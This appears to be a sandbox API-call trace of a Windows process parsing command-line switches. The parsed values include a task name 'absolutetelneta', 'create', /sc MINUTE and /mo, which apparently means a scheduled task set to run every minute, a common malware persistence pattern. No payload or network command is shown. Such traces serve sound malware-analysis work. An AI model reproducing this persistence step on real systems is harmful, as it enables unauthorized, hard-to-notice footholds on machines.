[0128.695] lstrlenW (lpString="|tn|") returned 4 [0128.695] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.695] lstrlenW (lpString="u") returned 1 [0128.695] lstrlenW (lpString="u") returned 1 [0128.695] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.695] lstrlenW (lpString="tn") returned 2 [0128.695] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.695] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|u|") returned 3 [0128.695] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|tn|") returned 4 [0128.695] lstrlenW (lpString="|u|") returned 3 [0128.695] lstrlenW (lpString="|tn|") returned 4 [0128.695] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.695] lstrlenW (lpString="p") returned 1 [0128.695] lstrlenW (lpString="p") returned 1 [0128.695] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.695] lstrlenW (lpString="tn") returned 2 [0128.695] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.695] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|p|") returned 3 [0128.696] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|tn|") returned 4 [0128.696] lstrlenW (lpString="|p|") returned 3 [0128.696] lstrlenW (lpString="|tn|") returned 4 [0128.696] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.696] lstrlenW (lpString="ru") returned 2 [0128.696] lstrlenW (lpString="ru") returned 2 [0128.696] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.696] lstrlenW (lpString="tn") returned 2 [0128.696] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.696] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|ru|") returned 4 [0128.696] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|tn|") returned 4 [0128.696] lstrlenW (lpString="|ru|") returned 4 [0128.696] lstrlenW (lpString="|tn|") returned 4 [0128.696] StrStrIW (lpFirst="|ru|", lpSrch="|tn|") returned 0x0 [0128.696] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.696] lstrlenW (lpString="rp") returned 2 [0128.696] lstrlenW (lpString="rp") returned 2 [0128.696] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.696] lstrlenW (lpString="tn") returned 2 [0128.696] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.697] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|rp|") returned 4 [0128.697] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|tn|") returned 4 [0128.697] lstrlenW (lpString="|rp|") returned 4 [0128.697] lstrlenW (lpString="|tn|") returned 4 [0128.697] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0128.697] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.697] lstrlenW (lpString="sc") returned 2 [0128.697] lstrlenW (lpString="sc") returned 2 [0128.697] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.697] lstrlenW (lpString="tn") returned 2 [0128.697] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.697] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|sc|") returned 4 [0128.697] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|tn|") returned 4 [0128.697] lstrlenW (lpString="|sc|") returned 4 [0128.697] lstrlenW (lpString="|tn|") returned 4 [0128.697] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0128.697] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.697] lstrlenW (lpString="mo") returned 2 [0128.697] lstrlenW (lpString="mo") returned 2 [0128.697] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.698] lstrlenW (lpString="tn") returned 2 [0128.698] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.698] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|mo|") returned 4 [0128.698] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|tn|") returned 4 [0128.698] lstrlenW (lpString="|mo|") returned 4 [0128.698] lstrlenW (lpString="|tn|") returned 4 [0128.698] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0128.698] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.698] lstrlenW (lpString="d") returned 1 [0128.698] lstrlenW (lpString="d") returned 1 [0128.698] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.698] lstrlenW (lpString="tn") returned 2 [0128.698] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.698] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|d|") returned 3 [0128.698] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|tn|") returned 4 [0128.698] lstrlenW (lpString="|d|") returned 3 [0128.698] lstrlenW (lpString="|tn|") returned 4 [0128.698] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.698] lstrlenW (lpString="m") returned 1 [0128.698] lstrlenW (lpString="m") returned 1 [0128.698] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.699] lstrlenW (lpString="tn") returned 2 [0128.699] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.699] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|m|") returned 3 [0128.699] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|tn|") returned 4 [0128.699] lstrlenW (lpString="|m|") returned 3 [0128.699] lstrlenW (lpString="|tn|") returned 4 [0128.699] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.699] lstrlenW (lpString="i") returned 1 [0128.699] lstrlenW (lpString="i") returned 1 [0128.699] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.699] lstrlenW (lpString="tn") returned 2 [0128.699] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.699] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|i|") returned 3 [0128.699] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|tn|") returned 4 [0128.699] lstrlenW (lpString="|i|") returned 3 [0128.699] lstrlenW (lpString="|tn|") returned 4 [0128.699] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.699] lstrlenW (lpString="tn") returned 2 [0128.699] lstrlenW (lpString="tn") returned 2 [0128.699] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.699] lstrlenW (lpString="tn") returned 2 [0128.700] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.700] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|tn|") returned 4 [0128.700] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|tn|") returned 4 [0128.700] lstrlenW (lpString="|tn|") returned 4 [0128.700] lstrlenW (lpString="|tn|") returned 4 [0128.700] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0128.700] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.700] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.700] lstrlenW (lpString="absolutetelneta") returned 15 [0128.700] lstrlenW (lpString="-/") returned 2 [0128.700] StrChrIW (lpStart="-/", wMatch=0x61) returned 0x0 [0128.700] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.700] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.700] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.700] lstrlenW (lpString="absolutetelneta") returned 15 [0128.700] StrChrIW (lpStart="absolutetelneta", wMatch=0x3a) returned 0x0 [0128.700] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.700] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.700] lstrlenW (lpString="absolutetelneta") returned 15 [0128.700] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.700] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.700] lstrlenW (lpString="/sc") returned 3 [0128.700] lstrlenW (lpString="-/") returned 2 [0128.700] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0128.700] lstrlenW (lpString="create") returned 6 [0128.700] lstrlenW (lpString="create") returned 6 [0128.701] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.701] lstrlenW (lpString="sc") returned 2 [0128.701] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.701] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|create|") returned 8 [0128.701] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|sc|") returned 4 [0128.701] lstrlenW (lpString="|create|") returned 8 [0128.701] lstrlenW (lpString="|sc|") returned 4 [0128.701] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0128.701] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.701] lstrlenW (lpString="?") returned 1 [0128.701] lstrlenW (lpString="?") returned 1 [0128.701] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.701] lstrlenW (lpString="sc") returned 2 [0128.701] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.701] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|?|") returned 3 [0128.701] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|sc|") returned 4 [0128.701] lstrlenW (lpString="|?|") returned 3 [0128.701] lstrlenW (lpString="|sc|") returned 4 [0128.701] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.701] lstrlenW (lpString="s") returned 1 [0128.701] lstrlenW (lpString="s") returned 1 [0128.701] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.701] lstrlenW (lpString="sc") returned 2 [0128.701] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.701] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|s|") returned 3 [0128.702] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|sc|") returned 4 [0128.702] lstrlenW (lpString="|s|") returned 3 [0128.702] lstrlenW (lpString="|sc|") returned 4 [0128.702] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.702] lstrlenW (lpString="u") returned 1 [0128.702] lstrlenW (lpString="u") returned 1 [0128.702] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.702] lstrlenW (lpString="sc") returned 2 [0128.702] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.702] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|u|") returned 3 [0128.702] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|sc|") returned 4 [0128.702] lstrlenW (lpString="|u|") returned 3 [0128.702] lstrlenW (lpString="|sc|") returned 4 [0128.702] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.702] lstrlenW (lpString="p") returned 1 [0128.702] lstrlenW (lpString="p") returned 1 [0128.702] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.702] lstrlenW (lpString="sc") returned 2 [0128.702] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.702] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|p|") returned 3 [0128.702] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|sc|") returned 4 [0128.702] lstrlenW (lpString="|p|") returned 3 [0128.703] lstrlenW (lpString="|sc|") returned 4 [0128.703] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.703] lstrlenW (lpString="ru") returned 2 [0128.703] lstrlenW (lpString="ru") returned 2 [0128.703] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.703] lstrlenW (lpString="sc") returned 2 [0128.703] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.703] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|ru|") returned 4 [0128.703] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|sc|") returned 4 [0128.703] lstrlenW (lpString="|ru|") returned 4 [0128.703] lstrlenW (lpString="|sc|") returned 4 [0128.703] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0128.703] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.703] lstrlenW (lpString="rp") returned 2 [0128.703] lstrlenW (lpString="rp") returned 2 [0128.703] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.704] lstrlenW (lpString="sc") returned 2 [0128.704] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.704] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|rp|") returned 4 [0128.704] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|sc|") returned 4 [0128.704] lstrlenW (lpString="|rp|") returned 4 [0128.704] lstrlenW (lpString="|sc|") returned 4 [0128.704] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0128.704] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.704] lstrlenW (lpString="sc") returned 2 [0128.704] lstrlenW (lpString="sc") returned 2 [0128.704] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.704] lstrlenW (lpString="sc") returned 2 [0128.704] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.704] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|sc|") returned 4 [0128.704] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|sc|") returned 4 [0128.704] lstrlenW (lpString="|sc|") returned 4 [0128.704] lstrlenW (lpString="|sc|") returned 4 [0128.704] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0128.704] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.704] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.704] lstrlenW (lpString="MINUTE") returned 6 [0128.705] lstrlenW (lpString="-/") returned 2 [0128.705] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0128.705] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.705] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.705] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.705] lstrlenW (lpString="MINUTE") returned 6 [0128.705] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0128.705] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.705] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.705] GetProcessHeap () returned 0x1abb7a10000 [0128.705] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0x18) returned 0x1abb7a1ac10 [0128.705] _memicmp (_Buf1=0x1abb7a1ac10, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.705] lstrlenW (lpString="MINUTE") returned 6 [0128.705] GetProcessHeap () returned 0x1abb7a10000 [0128.705] RtlAllocateHeap (HeapHandle=0x1abb7a10000, Flags=0xc, Size=0xe) returned 0x1abb7a1aaf0 [0128.705] lstrlenW (lpString="MINUTE") returned 6 [0128.705] lstrlenW (lpString=" \x09") returned 2 [0128.705] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0128.705] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0128.705] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0128.705] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0128.705] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0128.706] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0128.706] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0128.706] GetLastError () returned 0x0 [0128.706] lstrlenW (lpString="MINUTE") returned 6 [0128.706] lstrlenW (lpString="MINUTE") returned 6 [0128.706] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.706] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.706] lstrlenW (lpString="/mo") returned 3 [0128.706] lstrlenW (lpString="-/") returned 2 [0128.706] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0128.706] lstrlenW (lpString="create") returned 6 [0128.706] lstrlenW (lpString="create") returned 6 [0128.706] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.706] lstrlenW (lpString="mo") returned 2 [0128.706] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.706] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|create|") returned 8 [0128.706] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|mo|") returned 4 [0128.706] lstrlenW (lpString="|create|") returned 8 [0128.706] lstrlenW (lpString="|mo|") returned 4 [0128.706] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0128.706] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.706] lstrlenW (lpString="?") returned 1 [0128.707] lstrlenW (lpString="?") returned 1 [0128.707] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.707] lstrlenW (lpString="mo") returned 2 [0128.707] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.707] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|?|") returned 3 [0128.707] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|mo|") returned 4 [0128.707] lstrlenW (lpString="|?|") returned 3 [0128.707] lstrlenW (lpString="|mo|") returned 4 [0128.707] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.707] lstrlenW (lpString="s") returned 1 [0128.707] lstrlenW (lpString="s") returned 1 [0128.707] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.707] lstrlenW (lpString="mo") returned 2 [0128.707] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.707] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|s|") returned 3 [0128.707] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|mo|") returned 4 [0128.707] lstrlenW (lpString="|s|") returned 3 [0128.707] lstrlenW (lpString="|mo|") returned 4 [0128.707] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.707] lstrlenW (lpString="u") returned 1 [0128.707] lstrlenW (lpString="u") returned 1 [0128.708] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.708] lstrlenW (lpString="mo") returned 2 [0128.708] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.708] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|u|") returned 3 [0128.708] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|mo|") returned 4 [0128.708] lstrlenW (lpString="|u|") returned 3 [0128.708] lstrlenW (lpString="|mo|") returned 4 [0128.708] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.708] lstrlenW (lpString="p") returned 1 [0128.708] lstrlenW (lpString="p") returned 1 [0128.708] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.708] lstrlenW (lpString="mo") returned 2 [0128.708] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.708] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|p|") returned 3 [0128.708] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|mo|") returned 4 [0128.708] lstrlenW (lpString="|p|") returned 3 [0128.708] lstrlenW (lpString="|mo|") returned 4 [0128.708] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.709] lstrlenW (lpString="ru") returned 2 [0128.709] lstrlenW (lpString="ru") returned 2 [0128.709] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.709] lstrlenW (lpString="mo") returned 2 [0128.709] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.709] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|ru|") returned 4 [0128.709] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|mo|") returned 4 [0128.709] lstrlenW (lpString="|ru|") returned 4 [0128.709] lstrlenW (lpString="|mo|") returned 4 [0128.709] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0128.709] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.709] lstrlenW (lpString="rp") returned 2 [0128.709] lstrlenW (lpString="rp") returned 2 [0128.709] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.709] lstrlenW (lpString="mo") returned 2 [0128.709] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.709] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|rp|") returned 4 [0128.710] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|mo|") returned 4 [0128.710] lstrlenW (lpString="|rp|") returned 4 [0128.710] lstrlenW (lpString="|mo|") returned 4 [0128.710] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0128.710] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.710] lstrlenW (lpString="sc") returned 2 [0128.710] lstrlenW (lpString="sc") returned 2 [0128.710] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.710] lstrlenW (lpString="mo") returned 2 [0128.710] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.710] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|sc|") returned 4 [0128.710] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|mo|") returned 4 [0128.710] lstrlenW (lpString="|sc|") returned 4 [0128.710] lstrlenW (lpString="|mo|") returned 4 [0128.710] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0128.710] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.710] lstrlenW (lpString="mo") returned 2 [0128.710] lstrlenW (lpString="mo") returned 2 [0128.713] _memicmp (_Buf1=0x1abb7a13f50, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.713] lstrlenW (lpString="mo") returned 2 [0128.713] _memicmp (_Buf1=0x1abb7a138d0, _Buf2=0x7ff6b6f79eb0, _Size=0x7) returned 0 [0128.713] _vsnwprintf (in: _Buffer=0x1abb7a13910, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|mo|") returned 4 [0128.713] _vsnwprintf (in: _Buffer=0x1abb7a138f0, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1adf4cc4e8 | out: _Buffer="|mo|") returned 4 [0128.714] lstrlenW (lpString="|mo|") returned 4 [0128.714] lstrlenW (lpString="|mo|") returned 4 [0128.714] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0128.714] RtlRestoreLastWin32Error () returned 0x1adf7f8000 [0128.714] RtlRestoreLastWin32Error () returned 